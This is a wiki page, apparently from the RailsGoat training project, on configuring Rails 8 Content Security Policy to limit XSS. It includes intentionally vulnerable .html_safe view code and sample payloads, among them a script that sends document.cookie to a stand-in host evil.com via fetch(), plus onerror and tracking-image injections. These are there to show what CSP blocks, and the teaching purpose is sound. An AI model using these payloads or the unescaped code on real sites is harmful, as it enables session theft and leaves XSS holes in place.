Skip to content

R8 A3 CSP Improvements

Ken Johnson edited this page Dec 5, 2025 · 1 revision

A3 - Rails 8 Content Security Policy (CSP) Improvements

Content Security Policy (CSP) is a defense-in-depth mechanism that helps mitigate Cross-Site Scripting (XSS) attacks. While Rails has supported CSP since Rails 5.2, Rails 8 includes enhanced default configurations and better integration.

What is Content Security Policy?

CSP is an HTTP response header that tells browsers which sources of content are allowed to load and execute on a web page.

Example CSP Header

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'

Translation:

  • default-src 'self': Only load resources from same origin by default
  • script-src 'self' https://cdn.example.com: JavaScript only from same origin or CDN
  • style-src 'self' 'unsafe-inline': CSS from same origin, allow inline styles

How CSP Protects Against XSS

Without CSP (Rails 5 Default)

Vulnerable Code:

<%# app/views/layouts/shared/_header.html.erb %>
Welcome, <%= current_user.first_name.html_safe %>

Attack:

# Attacker registers with first_name:
"<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>"

Result: Script executes, cookies stolen.

With CSP (Rails 8 Enhanced)

Same Vulnerable Code:

Welcome, <%= current_user.first_name.html_safe %>

Same Attack:

"<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>"

Result:

[CSP] Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'"

Script is blocked, even though .html_safe was used!

Rails 8 CSP Configuration

Default CSP Configuration (Rails 8)

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.font_src    :self, :https, :data
  policy.img_src     :self, :https, :data
  policy.object_src  :none
  policy.script_src  :self, :https
  policy.style_src   :self, :https

  # Specify URI for violation reports
  # policy.report_uri "/csp-violation-report-endpoint"
end

# Generate session nonces for permitted inline scripts and styles
Rails.application.config.content_security_policy_nonce_generator = ->(request) {
  SecureRandom.base64(16)
}

# Report violations without enforcing policy (development only)
# Rails.application.config.content_security_policy_report_only = true

CSP Directives Explained

Directive Purpose Example
default-src Fallback for other directives :self (same origin only)
script-src Controls JavaScript sources :self, https://cdn.js.com
style-src Controls CSS sources :self, 'unsafe-inline'
img-src Controls image sources :self, :data (same origin + data URIs)
font-src Controls font sources :self, :https
connect-src Controls AJAX/WebSocket :self
frame-src Controls <iframe> sources :none (no iframes)
object-src Controls <object>, <embed> :none (no plugins)
report-uri Where to send violation reports /csp-violations

Special Keywords

  • 'self' - Same origin as the document
  • 'none' - Nothing is allowed
  • 'unsafe-inline' - Allow inline scripts/styles (⚠️ dangerous)
  • 'unsafe-eval' - Allow eval() (⚠️ dangerous)
  • 'nonce-xxx' - Allow specific inline script with nonce
  • 'sha256-xxx' - Allow specific inline script matching hash

CSP vs XSS in RailsGoat

XSS Without CSP (Rails 5)

Vulnerable Code:

<%# app/views/layouts/shared/_header.html.erb %>
Welcome, <%= current_user.first_name.html_safe %>

Attack Payload:

<script>alert('XSS')</script>

Result: ✅ Attack succeeds (alert box displays)

XSS With CSP (Rails 8)

Same Vulnerable Code:

Welcome, <%= current_user.first_name.html_safe %>

Attack Payload:

<script>alert('XSS')</script>

Result: ❌ Attack blocked by CSP

Browser Console:

[Error] Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution.

CSP Bypass Attempts

Attacker tries external script:

<script src="https://evil.com/xss.js"></script>

Result: ❌ Blocked

[Error] Refused to load script from 'https://evil.com/xss.js' because it violates the following Content Security Policy directive: "script-src 'self'".

Attacker tries event handler:

<img src=x onerror="alert('XSS')">

Result: ❌ Blocked

[Error] Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'self'".

CSP Doesn't Prevent HTML Injection

Important: CSP blocks script execution, not HTML injection.

Attack Payload:

<h1 style="color: red">HACKED</h1>
<img src="https://evil.com/track.gif">

Result:

  • ✅ HTML renders (defacement possible)
  • ✅ Image loads (tracking possible if img-src allows it)
  • ❌ But no JavaScript executes

Key Takeaway: CSP is defense-in-depth, not a replacement for proper input validation and output encoding.

Implementing CSP in RailsGoat

Step 1: Enable CSP

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.default_src :self
  policy.script_src  :self, :https
  policy.style_src   :self, :https, :unsafe_inline  # Allow inline CSS for now
  policy.img_src     :self, :https, :data
  policy.font_src    :self, :https, :data
  policy.connect_src :self
  policy.frame_src   :none
  policy.object_src  :none

  # Send violation reports for monitoring
  policy.report_uri "/csp-violation-reports"
end

# Enable nonce generation
Rails.application.config.content_security_policy_nonce_generator = ->(request) {
  SecureRandom.base64(16)
}

Step 2: Add Nonces to Scripts

<%# app/views/layouts/application.html.erb %>
<!DOCTYPE html>
<html>
  <head>
    <%= javascript_include_tag "application", nonce: true %>
    <%= stylesheet_link_tag "application", nonce: true %>
  </head>
  <body>
    <%= yield %>
  </body>
</html>

Generated HTML:

<script src="/assets/application.js" nonce="abc123..."></script>

HTTP Header:

Content-Security-Policy: script-src 'self' 'nonce-abc123...'

Step 3: Handle Inline Scripts

Option 1: Move to External Files (Recommended)

<%# Before: Inline script (blocked by CSP) %>
<script>
  console.log('Hello');
</script>

<%# After: External file (allowed by CSP) %>
<%= javascript_include_tag "dashboard", nonce: true %>

Option 2: Use Nonces

<script nonce="<%= content_security_policy_nonce %>">
  console.log('Allowed with nonce');
</script>

Option 3: Allow 'unsafe-inline' (Not Recommended)

# config/initializers/content_security_policy.rb
policy.script_src :self, :unsafe_inline  # ⚠️ Weakens CSP protection

Step 4: Monitor Violations

# app/controllers/csp_reports_controller.rb
class CspReportsController < ApplicationController
  skip_before_action :verify_authenticity_token
  skip_before_action :authenticate_user!

  def create
    report = JSON.parse(request.body.read)

    Rails.logger.warn "[CSP Violation] #{report['csp-report']}"

    # Send to monitoring service
    # SecurityMonitoring.log_csp_violation(report)

    head :ok
  end
end
# config/routes.rb
post '/csp-violation-reports', to: 'csp_reports#create'

Example Violation Report:

{
  "csp-report": {
    "document-uri": "https://railsgoat.com/users/profile",
    "violated-directive": "script-src",
    "blocked-uri": "https://evil.com/xss.js",
    "source-file": "https://railsgoat.com/users/profile",
    "line-number": 23,
    "column-number": 15,
    "status-code": 200
  }
}

CSP Report-Only Mode

Use for testing CSP without breaking functionality:

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy_report_only = true

Effect: Violations are reported but not enforced.

HTTP Header:

Content-Security-Policy-Report-Only: script-src 'self'; report-uri /csp-violations

Use Case: Test CSP in production without breaking site, then enforce once violations are resolved.

Common CSP Challenges

Challenge 1: Google Analytics / Tag Manager

Problem: External analytics scripts

Solution:

policy.script_src :self, 'https://www.google-analytics.com', 'https://www.googletagmanager.com'
policy.connect_src :self, 'https://www.google-analytics.com'

Challenge 2: jQuery CDN

Problem: Scripts from CDN

Solution:

policy.script_src :self, 'https://code.jquery.com'

Challenge 3: Inline Event Handlers

Problem: onclick="..."

Bad:

<button onclick="doSomething()">Click Me</button>

Good:

<button data-action="do-something">Click Me</button>

<script nonce="<%= content_security_policy_nonce %>">
  document.querySelector('[data-action="do-something"]').addEventListener('click', () => {
    doSomething();
  });
</script>

Better (external file):

// app/assets/javascripts/buttons.js
document.addEventListener('DOMContentLoaded', () => {
  document.querySelector('[data-action="do-something"]').addEventListener('click', () => {
    doSomething();
  });
});

Challenge 4: Inline Styles

Problem: <div style="...">

Solution 1: Move to CSS classes

<%# Before %>
<div style="color: red">Text</div>

<%# After %>
<div class="error-text">Text</div>

Solution 2: Allow unsafe-inline (not recommended)

policy.style_src :self, :unsafe_inline

Solution 3: Use nonces

<style nonce="<%= content_security_policy_nonce %>">
  .custom-style { color: red; }
</style>

Testing CSP

Manual Testing

  1. Open browser Developer Tools (Console tab)
  2. Navigate to page with XSS vulnerability
  3. Try to inject script
  4. Check console for CSP violation messages

Automated Testing

# test/controllers/users_controller_test.rb
test "should set CSP headers" do
  get users_path

  assert_response :success

  csp_header = response.headers['Content-Security-Policy']
  assert csp_header.present?, "CSP header should be set"
  assert_includes csp_header, "script-src 'self'"
  assert_includes csp_header, "object-src 'none'"
end

test "inline script should be blocked by CSP" do
  # This test requires a headless browser (Selenium/Capybara)
  visit page_with_xss_path

  # Inject inline script
  evaluate_script("alert('XSS')")

  # Should see CSP error in browser console
  # (Specific assertion depends on test framework)
end

CSP Validator Tools

CSP Best Practices

✅ DO

  1. Start with Report-Only mode

    config.content_security_policy_report_only = true
  2. Use nonces for inline scripts

    <script nonce="<%= content_security_policy_nonce %>">
  3. Move inline scripts to external files

    // app/assets/javascripts/feature.js
  4. Monitor violation reports

    Rails.logger.warn "[CSP] #{report}"
  5. Use specific directives

    policy.script_src :self, 'https://trusted-cdn.com'

❌ DON'T

  1. Don't use 'unsafe-inline' for scripts

    policy.script_src :self, :unsafe_inline  # ⚠️ Defeats purpose of CSP
  2. Don't use 'unsafe-eval'

    policy.script_src :self, :unsafe_eval  # ⚠️ Allows eval()
  3. Don't allow all sources

    policy.script_src '*'  # ⚠️ Allows any domain
  4. Don't rely on CSP alone

    • Still validate input
    • Still escape output
    • CSP is defense-in-depth, not a fix

Rails 5 vs Rails 8: CSP Comparison

Feature Rails 5.2+ Rails 8
CSP Support ✅ Available ✅ Enhanced
Default Config Manual setup ✅ Better defaults
Nonce Generation Available ✅ Improved integration
Report-Only Mode ✅ Yes ✅ Yes
Violation Reporting ✅ Yes ✅ Yes
Documentation Good ✅ Better

Key Difference: Rails 8 has better out-of-the-box CSP configuration, but the core functionality has been available since Rails 5.2.

Key Takeaways

  1. CSP is defense-in-depth - doesn't replace proper encoding
  2. Rails 8 has better CSP defaults than Rails 5
  3. Use Report-Only mode first to test without breaking site
  4. Nonces allow inline scripts while maintaining security
  5. Monitor violation reports to detect attacks
  6. Never use 'unsafe-inline' for scripts - defeats CSP purpose
  7. CSP doesn't prevent HTML injection - only script execution

Bottom Line: CSP in Rails 8 provides powerful XSS mitigation even when developers make mistakes with .html_safe, but it requires proper configuration and doesn't eliminate the need for secure coding practices.

Additional Resources

Sections are divided by their OWASP Top Ten label (A1-A10) and marked as R4 and R5 for Rails 4 and 5.

Clone this wiki locally